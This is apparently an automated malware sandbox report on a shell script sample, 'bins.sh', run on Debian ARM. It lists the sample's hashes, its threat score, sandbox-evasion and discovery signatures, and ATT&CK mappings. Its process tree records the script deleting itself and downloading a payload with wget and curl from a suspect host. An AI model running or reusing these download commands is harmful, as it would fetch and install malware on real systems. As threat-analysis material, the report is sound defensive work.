a74e48cd9c641d9d257d89bf075e16eb59eb73ef1d324e9f088f76d0198476b2

Analysis

max time kernel
149s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/01/2025, 22:07

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General

Target
bins.sh
Size 10KB
Sample250119-11mamsymgr
SHA256 a74e48cd9c641d9d257d89bf075e16eb59eb73ef1d324e9f088f76d0198476b2
MD5 e98f0df23f1c51145ead577d6931998f
SHA1 4406988ad4c371120180fa512b3aa04329024a18
SHA512 d31fc31bac75ef5372a0422482687e043ef92656e8bbedae2f4f947e1a14db0ecc66603fd325d04fbd7c33ffe51f04b33e03b1f2ac8c9a4219883b1c6b3b5c34
SSDEEP 192:iCGHrVtUbXOJQBjDO1pbebfjuZ59PFwjDO1pefjuZ5aVtUbXrCGA:c3aBjDO1pbebfjuZ599wjDO1pefjuZ5y
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
652	wget
658	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - System Network Configuration Discovery
  PID:652
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:658

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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